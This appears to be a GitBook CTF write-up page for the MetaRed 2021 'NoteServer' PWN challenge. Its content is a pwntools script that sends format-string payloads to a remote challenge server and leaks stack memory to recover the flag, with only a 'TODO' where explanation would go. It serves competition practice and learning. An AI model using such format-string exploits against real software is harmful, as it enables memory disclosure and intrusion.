CTF - Info/Codes/Notes
  • Writeups SkyMas 2021
  • ☠️DeadFace
    • Dead Men Tell No Tales
    • The Count
    • Window Pains
    • Window Pains 2
    • Window Pains 3
    • Window Pains 4
    • You Shall not Pass
  • 🇵🇹Jornadas 2021
    • Return that ROPe
    • IPv6
  • 👁️BuckeyeCTF 2021
    • Canary
    • Tesseract
    • StegBot
    • SOP
    • Jupyter
    • Curly fries
    • Sozu
    • BASIC
    • Ret4win
    • Flattened
    • Defective RSA
  • 👑KillerQueen CTF
    • Web
      • Jail Web
    • PWN
      • Broke Collage Students
      • A Kind of Magic
      • Tweety Birb
      • Zoom2Win
    • Not mine :D
  • 🔺CTF Int. MetaRed 2021 - 3rd STAGE
    • PWN
      • Numerology
      • NoteServer
Powered by GitBook
On this page
  1. CTF Int. MetaRed 2021 - 3rd STAGE
  2. PWN

NoteServer

Format Strings Exploit

TODO


from pwn import *


exe = ELF("./note_server")

args.LOCAL=False
args.DEBUG=False
context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r,gdbscript="""   
        
        
       """)
    else:
        r = remote("143.255.251.233", 13372)

    return r


def main():
    r = conn()
    for i in range(0,7):
        r.sendline(b'1')
        r.sendline(str(i))
        r.sendline(b'A'*72+b'%45$s')

    r.sendline(b'3')
    r.recvuntil(b'Canary value > ')
    try:
        a=r.recv().decode()
        print('Flag..: ' +str(a))
    except:
        pass
        
    r.close()

if __name__ == "__main__":
    main()
PreviousNumerology

Last updated 3 years ago

🔺